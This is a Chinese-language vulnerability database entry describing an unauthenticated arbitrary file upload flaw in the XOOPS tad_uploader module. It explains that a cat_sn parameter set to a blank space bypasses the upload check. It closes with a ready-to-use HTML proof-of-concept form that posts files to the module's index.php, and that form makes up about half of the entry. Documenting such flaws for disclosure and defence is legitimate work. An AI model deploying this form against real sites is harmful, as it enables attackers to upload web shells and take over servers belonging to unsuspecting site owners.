xoops tad_uploader模块上传漏洞

2010-06-05T00:00:00
ID SSV:19742
Type seebug
Reporter Root
Modified 2010-06-05T00:00:00

Description

Xoops是非常流行的动态web内容管理系统,用面向对象的PHP编写。

xoops tad_uploader模块cat_sn参数为空格时可以任意上传文件至uploads/tad_uploader/目录。

Xoops 2.4.3 厂商补丁:

Xoops

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://xoops.sourceforge.net/

                                        
                                            
                                                <FORM action='http://URL/modules/tad_uploader/index.php' method='POST' enctype='multipart/form-data'>
    <p><b>從硬碟上傳檔案:</b><input type='file' name='cc_file[0]' size='20'></p>
    <p><b>直接從網路取得:</b><input type='text' name='cc_file_url' size='30'><br>(
    <b>檔案說明</b><br><textarea name='cf_desc[0]' cols=50 rows=3 style='width:100%'></textarea>
        <input type='hidden' name='cat_sn' value=' '>
        <input type='hidden' name='op' value='replace_data'>
    <input type='submit' value='送出'>
</FORM>